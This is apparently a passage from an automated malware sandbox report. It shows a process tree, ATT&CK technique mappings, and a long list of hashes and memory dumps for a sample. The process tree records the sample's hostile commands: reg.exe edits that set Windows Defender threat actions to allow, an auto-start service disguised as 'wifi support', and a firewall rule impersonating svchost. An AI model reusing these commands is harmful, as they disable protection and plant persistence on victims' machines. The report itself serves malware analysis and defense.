    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:9460
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6164
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4416
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:8896
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5156
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3744
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:9056
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:8736
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4340
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:8952
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:9916
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:7752
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:9452
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5132
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:10284

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:8424

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:8816

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:9688

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:7628

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:8372

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:2904

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:10008

C:\Users\Admin\AppData\Local\Temp\7999.exe
C:\Users\Admin\AppData\Local\Temp\7999.exe
1⤵
PID:6488
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xgdkrdln\
  2⤵
  PID:7220
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\bjycpnww.exe" C:\Windows\SysWOW64\xgdkrdln\
  2⤵
  PID:9284
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" create xgdkrdln binPath= "C:\Windows\SysWOW64\xgdkrdln\bjycpnww.exe /d\"C:\Users\Admin\AppData\Local\Temp\7999.exe\"" type= own start= auto DisplayName= "wifi support"
  2⤵
  PID:5204
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" description xgdkrdln "wifi internet conection"
  2⤵
  PID:8288
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" start xgdkrdln
  2⤵
  PID:9828
- C:\Windows\SysWOW64\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
  2⤵
  PID:6500

C:\Windows\system32\wlrmdr.exe
-s -1 -f 2 -t You're about to be signed out -m Windows will shut down in less than a minute. -a 3
1⤵
PID:6868

C:\Windows\SysWOW64\xgdkrdln\bjycpnww.exe
C:\Windows\SysWOW64\xgdkrdln\bjycpnww.exe /d"C:\Users\Admin\AppData\Local\Temp\7999.exe"
1⤵
PID:9192

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0 /state0:0xa3a8c855 /state1:0x41c64e6d
1⤵
PID:3916

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

New Service

T1050

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

New Service

T1050

Scheduled Task

T1053

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

Security Software Discovery

T1063

Software Discovery

T1518

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

MD5
2102931772edd6c4f43ac7b5212943ea

SHA1
b0f50f0e7094c0a02b692f7fef3a6126fecab468

SHA256
f29b7c7465ec179614569160c281f59d43e25d01610e3c11e0de2c893ccddab4

SHA512
75f490602ecc09179c719ca15bec9a27d040c44e33d896a5026a84e76bcb4fc501385256114062265a521922643eda16052ce2b2189b9c7eeb559387936a3719

Download Submit
\??\pipe\crashpad_4684_ORRGQVZTEPRHZWJR

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/192-250-0x0000000000000000-mapping.dmp

Download
memory/220-478-0x0000000000900000-0x0000000000901000-memory.dmp

Filesize
4KB

Download
memory/224-1521-0x000001D0F1F53000-0x000001D0F1F55000-memory.dmp

Filesize
8KB

Download
memory/224-1520-0x000001D0F1F50000-0x000001D0F1F52000-memory.dmp

Filesize
8KB

Download
memory/224-1518-0x000001D0F0E80000-0x000001D0F186C000-memory.dmp

Filesize
9.9MB

Download
memory/224-1117-0x000002C201BA0000-0x000002C201BA00F8-memory.dmp

Filesize
248B

Download
memory/224-1533-0x000001D0F1EB0000-0x000001D0F1EB1000-memory.dmp

Filesize
4KB

Download
memory/224-1095-0x000002C201BA0000-0x000002C201BA00F8-memory.dmp

Filesize
248B

Download
memory/224-1064-0x000002C201BA0000-0x000002C201BA00F8-memory.dmp

Filesize
248B

Download
memory/232-187-0x0000000000000000-mapping.dmp

Download
memory/244-1429-0x000001F07AA70000-0x000001F07AA71000-memory.dmp

Filesize
4KB

Download
memory/244-1504-0x000001F07AC30000-0x000001F07AC31000-memory.dmp

Filesize
4KB

Download
memory/244-1492-0x000001F07AAB0000-0x000001F07AAB1000-memory.dmp

Filesize
4KB

Download
memory/364-953-0x0000014F77470000-0x0000014F774D7000-memory.dmp

Filesize
412KB

Download
memory/364-685-0x0000014F77380000-0x0000014F773FB000-memory.dmp

Filesize
492KB

Download
memory/364-944-0x0000014F779B0000-0x0000014F77A17000-memory.dmp

Filesize
412KB

Download
memory/640-466-0x0000000000401000-0x00000000004B7000-memory.dmp

Filesize
728KB

Download
memory/676-444-0x0000000000870000-0x000000000087D000-memory.dmp

Filesize
52KB

Download
memory/708-200-0x0000000000000000-mapping.dmp

Download
memory/748-6-0x0000000000000000-mapping.dmp

Download
memory/748-761-0x0000000000400000-0x00000000014A7000-memory.dmp

Filesize
16.7MB

Download
memory/796-912-0x0000000002E80000-0x000000000386C000-memory.dmp

Filesize
9.9MB

Download
memory/796-967-0x000000001C5A0000-0x000000001C5A2000-memory.dmp

Filesize
8KB

Download
memory/844-479-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/844-486-0x0000000003210000-0x0000000003211000-memory.dmp

Filesize
4KB

Download
memory/844-498-0x00000000032B0000-0x00000000032B1000-memory.dmp

Filesize
4KB

Download
memory/844-477-0x0000000003021000-0x000000000304C000-memory.dmp

Filesize
172KB

Download
memory/844-480-0x00000000031B0000-0x00000000031B1000-memory.dmp

Filesize
4KB

Download
memory/844-481-0x00000000031C0000-0x00000000031C1000-memory.dmp

Filesize
4KB

Download
memory/844-483-0x00000000031E0000-0x00000000031E1000-memory.dmp

Filesize
4KB

Download
memory/844-482-0x00000000031D0000-0x00000000031D1000-memory.dmp

Filesize
4KB

Download
memory/844-484-0x00000000031F0000-0x00000000031F1000-memory.dmp

Filesize
4KB

Download
memory/844-485-0x0000000003200000-0x0000000003201000-memory.dmp

Filesize
4KB

Download
memory/844-487-0x0000000003220000-0x0000000003221000-memory.dmp

Filesize
4KB

Download
memory/844-499-0x00000000032C0000-0x00000000032C1000-memory.dmp

Filesize
4KB

Download
memory/844-489-0x0000000003240000-0x0000000003241000-memory.dmp

Filesize
4KB

Download
memory/844-490-0x0000000003250000-0x0000000003251000-memory.dmp

Filesize
4KB

Download
memory/844-491-0x0000000003260000-0x0000000003261000-memory.dmp

Filesize
4KB

Download
memory/844-488-0x0000000003230000-0x0000000003231000-memory.dmp

Filesize
4KB

Download
memory/844-494-0x0000000003280000-0x0000000003281000-memory.dmp

Filesize
4KB

Download
memory/844-493-0x0000000003270000-0x0000000003271000-memory.dmp

Filesize
4KB

Download
memory/844-495-0x0000000003290000-0x0000000003291000-memory.dmp

Filesize
4KB

Download
memory/844-496-0x00000000032A0000-0x00000000032A1000-memory.dmp

Filesize
4KB

Download
memory/884-1105-0x00000000008D0000-0x00000000008D1000-memory.dmp

Filesize
4KB

Download
memory/960-263-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-291-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-295-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-294-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-224-0x0000000000000000-mapping.dmp

Download
memory/960-297-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-293-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-298-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-289-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-264-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-265-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-266-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-267-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-268-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-269-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-299-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-270-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-271-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-272-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-273-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-274-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-275-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-276-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-278-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-292-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-277-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-281-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-296-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-290-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-300-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-288-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-287-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-286-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-285-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-284-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-283-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-282-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-280-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/960-279-0x000001E9956D0000-0x000001E9956D00F8-memory.dmp

Filesize
248B

Download
memory/1044-802-0x000000006F260000-0x000000006F94E000-memory.dmp

Filesize
6.9MB

Download
memory/1044-827-0x00000000058B4000-0x00000000058B6000-memory.dmp

Filesize
8KB

Download
memory/1044-807-0x0000000005740000-0x0000000005762000-memory.dmp

Filesize
136KB

Download
memory/1044-808-0x00000000058B2000-0x00000000058B3000-memory.dmp

Filesize
4KB

Download
memory/1044-810-0x00000000058B0000-0x00000000058B1000-memory.dmp

Filesize
4KB

Download
memory/1044-803-0x00000000056D0000-0x00000000056F3000-memory.dmp

Filesize
140KB

Download
memory/1044-813-0x00000000058B3000-0x00000000058B4000-memory.dmp

Filesize
4KB

Download
memory/1044-801-0x0000000003260000-0x0000000003261000-memory.dmp

Filesize
4KB

Download
memory/1044-446-0x0000000000A00000-0x0000000000A01000-memory.dmp

Filesize
4KB

Download
memory/1044-445-0x00007FFEE70E0000-0x00007FFEE7ACC000-memory.dmp

Filesize
9.9MB

Download
memory/1044-788-0x0000000000400000-0x0000000000FE1000-memory.dmp

Filesize
11.9MB

Download
memory/1044-448-0x0000000002BD0000-0x0000000002BD2000-memory.dmp

Filesize
8KB

Download
memory/1044-797-0x0000000000401000-0x000000000041B000-memory.dmp

Filesize
104KB

Download
memory/1044-789-0x00000000778C4000-0x00000000778C5000-memory.dmp

Filesize
4KB

Download
memory/1048-938-0x000001C39ED40000-0x000001C39EDA7000-memory.dmp

Filesize
412KB

Download
memory/1048-683-0x000001C39E780000-0x000001C39E7FB000-memory.dmp

Filesize
492KB

Download
memory/1048-935-0x000001C39E860000-0x000001C39E8C7000-memory.dmp

Filesize
412KB

Download
memory/1060-767-0x000000006F260000-0x000000006F94E000-memory.dmp

Filesize
6.9MB

Download
memory/1060-784-0x0000000002D20000-0x0000000002D21000-memory.dmp

Filesize
4KB

Download
memory/1080-462-0x0000000002590000-0x0000000002592000-memory.dmp

Filesize
8KB

Download
memory/1080-460-0x00007FFEE3290000-0x00007FFEE3C30000-memory.dmp

Filesize
9.6MB

Download
memory/1172-9-0x0000000000000000-mapping.dmp

Download
memory/1196-966-0x0000024A49E50000-0x0000024A49EB7000-memory.dmp

Filesize
412KB

Download
memory/1196-952-0x0000024A49F80000-0x0000024A49FE7000-memory.dmp

Filesize
412KB

Download
memory/1196-664-0x0000024A49D60000-0x0000024A49DDB000-memory.dmp

Filesize
492KB

Download
memory/1216-206-0x0000000000000000-mapping.dmp

Download
memory/1236-21-0x0000000000000000-mapping.dmp

Download
memory/1240-467-0x00000000007F0000-0x00000000007F1000-memory.dmp

Filesize
4KB

Download
memory/1260-969-0x00000246E3340000-0x00000246E33A7000-memory.dmp

Filesize
412KB

Download
memory/1260-955-0x00000246E33B0000-0x00000246E3417000-memory.dmp

Filesize
412KB

Download
memory/1260-667-0x00000246E2DD0000-0x00000246E2E4B000-memory.dmp

Filesize
492KB

Download
memory/1376-687-0x0000018B3D700000-0x0000018B3D77B000-memory.dmp

Filesize
492KB

Download
memory/1376-962-0x0000018B3DC40000-0x0000018B3DCA7000-memory.dmp

Filesize
412KB

Download
memory/1376-945-0x0000018B3DD20000-0x0000018B3DD87000-memory.dmp

Filesize
412KB

Download
memory/1432-208-0x0000000000000000-mapping.dmp

Download
memory/1468-1148-0x0000000004BA0000-0x0000000004BA1000-memory.dmp

Filesize
4KB

Download
memory/1496-194-0x0000000000000000-mapping.dmp

Download
memory/1540-225-0x0000000000000000-mapping.dmp

Download
memory/1580-506-0x0000000003901000-0x0000000003909000-memory.dmp

Filesize
32KB

Download
memory/1580-503-0x00000000037A0000-0x00000000037A1000-memory.dmp

Filesize
4KB

Download
memory/1580-497-0x0000000000610000-0x0000000000611000-memory.dmp

Filesize
4KB

Download
memory/1580-500-0x0000000003291000-0x0000000003476000-memory.dmp

Filesize
1.9MB

Download
memory/1580-507-0x0000000003A91000-0x0000000003A9D000-memory.dmp

Filesize
48KB

Download
memory/1580-509-0x00000000038F0000-0x00000000038F1000-memory.dmp

Filesize
4KB

Download
memory/1632-1059-0x00007FFEE3290000-0x00007FFEE3C30000-memory.dmp

Filesize
9.6MB

Download
memory/1632-1060-0x0000000002320000-0x0000000002322000-memory.dmp

Filesize
8KB

Download
memory/1692-607-0x000000001BC60000-0x000000001BC62000-memory.dmp

Filesize
8KB

Download
memory/1692-596-0x0000000002580000-0x0000000002F6C000-memory.dmp

Filesize
9.9MB

Download
memory/1736-461-0x00007FFEE3290000-0x00007FFEE3C30000-memory.dmp

Filesize
9.6MB

Download
memory/1736-463-0x0000000003260000-0x0000000003262000-memory.dmp

Filesize
8KB

Download
memory/1756-1128-0x000000006F260000-0x000000006F94E000-memory.dmp

Filesize
6.9MB

Download
memory/1756-1140-0x00000000072E2000-0x00000000072E3000-memory.dmp

Filesize
4KB

Download
memory/1756-1137-0x00000000072E0000-0x00000000072E1000-memory.dmp

Filesize
4KB

Download
memory/1756-1290-0x00000000072E3000-0x00000000072E4000-memory.dmp

Filesize
4KB

Download
memory/1756-1263-0x000000007E680000-0x000000007E681000-memory.dmp

Filesize
4KB

Download
memory/1776-23-0x0000000000000000-mapping.dmp

Download
memory/1780-181-0x0000000000000000-mapping.dmp

Download
memory/1804-594-0x0000020E0BD60000-0x0000020E0BD600F8-memory.dmp

Filesize
248B

Download
memory/1804-747-0x0000020E0BD60000-0x0000020E0BD600F8-memory.dmp

Filesize
248B

Download
memory/1804-650-0x0000020E0BD60000-0x0000020E0BD600F8-memory.dmp

Filesize
248B

Download
memory/1804-504-0x0000020E0BD60000-0x0000020E0BD600F8-memory.dmp

Filesize
248B

Download
memory/1804-514-0x0000020E0BD60000-0x0000020E0BD600F8-memory.dmp

Filesize
248B

Download
memory/1804-534-0x0000020E0BD60000-0x0000020E0BD600F8-memory.dmp

Filesize
248B

Download
memory/1804-578-0x0000020E0BD60000-0x0000020E0BD600F8-memory.dmp

Filesize
248B

Download
memory/1804-739-0x0000020E0BD60000-0x0000020E0BD600F8-memory.dmp

Filesize
248B

Download
memory/1804-731-0x0000020E0BD60000-0x0000020E0BD600F8-memory.dmp

Filesize
248B

Download
memory/1804-721-0x0000020E0BD60000-0x0000020E0BD600F8-memory.dmp

Filesize
248B

Download
memory/1804-711-0x0000020E0BD60000-0x0000020E0BD600F8-memory.dmp

Filesize
248B

Download
memory/1804-697-0x0000020E0BD60000-0x0000020E0BD600F8-memory.dmp

Filesize
248B

Download
memory/1816-582-0x0000000004170000-0x0000000004171000-memory.dmp

Filesize
4KB

Download
memory/1840-611-0x0000000001BF0000-0x0000000001BF1000-memory.dmp

Filesize
4KB

Download
memory/1840-615-0x0000000001A50000-0x0000000001AE6000-memory.dmp

Filesize
600KB

Download
memory/1840-616-0x0000000000400000-0x0000000000499000-memory.dmp

Filesize
612KB

Download
memory/1884-948-0x00000200DF440000-0x00000200DF4A7000-memory.dmp

Filesize
412KB

Download
memory/1884-691-0x00000200DEDF0000-0x00000200DEE6B000-memory.dmp

Filesize
492KB

Download
memory/1884-964-0x00000200DEF10000-0x00000200DEF77000-memory.dmp

Filesize
412KB

Download
memory/2024-1019-0x00007FFEE3290000-0x00007FFEE3C30000-memory.dmp

Filesize
9.6MB

Download
memory/2024-1021-0x0000000002670000-0x0000000002672000-memory.dmp

Filesize
8KB

Download
memory/2024-631-0x00007FFEE3290000-0x00007FFEE3C30000-memory.dmp

Filesize
9.6MB

Download
memory/2024-638-0x0000000002EC0000-0x0000000002EC2000-memory.dmp

Filesize
8KB

Download
memory/2076-127-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-120-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-113-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-177-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-125-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-123-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-126-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-104-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-172-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-114-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-122-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-121-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-105-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-16-0x0000000000000000-mapping.dmp

Download
memory/2076-124-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-106-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-107-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-108-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-109-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-115-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-167-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-168-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-169-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-176-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-110-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-170-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-171-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-173-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-111-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-103-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-175-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-179-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-178-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-119-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-112-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-547-0x0000000004A30000-0x0000000004A31000-memory.dmp

Filesize
4KB

Download
memory/2076-174-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-118-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-116-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2076-117-0x000001C13B530000-0x000001C13B5300F8-memory.dmp

Filesize
248B

Download
memory/2104-243-0x0000000000000000-mapping.dmp

Download
memory/2140-1049-0x00007FFF05010000-0x00007FFF05011000-memory.dmp

Filesize
4KB

Download
memory/2140-1376-0x00000244F0E40000-0x00000244F0E41000-memory.dmp

Filesize
4KB

Download
memory/2140-1443-0x00000244EDF20000-0x00000244EDF21000-memory.dmp

Filesize
4KB

Download
memory/2140-1485-0x00000244EDE80000-0x00000244EDE81000-memory.dmp

Filesize
4KB

Download
memory/2168-902-0x000002271BAD0000-0x000002271BB37000-memory.dmp

Filesize
412KB

Download
memory/2168-1294-0x000001B885620000-0x000001B8856200F8-memory.dmp

Filesize
248B

Download
memory/2168-1237-0x000001B885620000-0x000001B8856200F8-memory.dmp

Filesize
248B

Download
memory/2168-1480-0x000001B885A40000-0x000001B885A41000-memory.dmp

Filesize
4KB

Download
memory/2168-1208-0x000001B885620000-0x000001B8856200F8-memory.dmp

Filesize
248B

Download
memory/2168-1425-0x000001B8857B0000-0x000001B8857B1000-memory.dmp

Filesize
4KB

Download
memory/2168-1118-0x000001B885620000-0x000001B8856200F8-memory.dmp

Filesize
248B

Download
memory/2168-1063-0x000001B885620000-0x000001B8856200F8-memory.dmp

Filesize
248B

Download
memory/2168-1373-0x000001B885620000-0x000001B8856200F8-memory.dmp

Filesize
248B

Download
memory/2168-1334-0x000001B885620000-0x000001B8856200F8-memory.dmp

Filesize
248B

Download
memory/2168-1308-0x000001B885620000-0x000001B8856200F8-memory.dmp

Filesize
248B

Download
memory/2168-926-0x000002271BB40000-0x000002271BBA7000-memory.dmp

Filesize
412KB

Download
memory/2168-1096-0x000001B885620000-0x000001B8856200F8-memory.dmp

Filesize
248B

Download
memory/2168-1502-0x000001B888800000-0x000001B888801000-memory.dmp

Filesize
4KB

Download
memory/2172-450-0x00007FFEE3290000-0x00007FFEE3C30000-memory.dmp

Filesize
9.6MB

Download
memory/2172-452-0x00000000028C0000-0x00000000028C2000-memory.dmp

Filesize
8KB

Download
memory/2200-933-0x0000020260490000-0x00000202604F7000-memory.dmp

Filesize
412KB

Download
memory/2200-921-0x00000202603B0000-0x0000020260417000-memory.dmp

Filesize
412KB

Download
memory/2200-680-0x00000202602C0000-0x000002026033B000-memory.dmp

Filesize
492KB

Download
memory/2216-906-0x000001DA6B7C0000-0x000001DA6B827000-memory.dmp

Filesize
412KB

Download
memory/2216-930-0x000001DA6B8A0000-0x000001DA6B907000-memory.dmp

Filesize
412KB

Download
memory/2216-678-0x000001DA6B740000-0x000001DA6B7BB000-memory.dmp

Filesize
492KB

Download
memory/2256-182-0x0000000000000000-mapping.dmp

Download
memory/2256-234-0x0000000000000000-mapping.dmp

Download
memory/2316-192-0x0000000000000000-mapping.dmp

Download
memory/2364-210-0x0000000000000000-mapping.dmp

Download
memory/2376-958-0x000001EDE1840000-0x000001EDE18A7000-memory.dmp

Filesize
412KB

Download
memory/2376-971-0x000001EDE1170000-0x000001EDE11D7000-memory.dmp

Filesize
412KB

Download
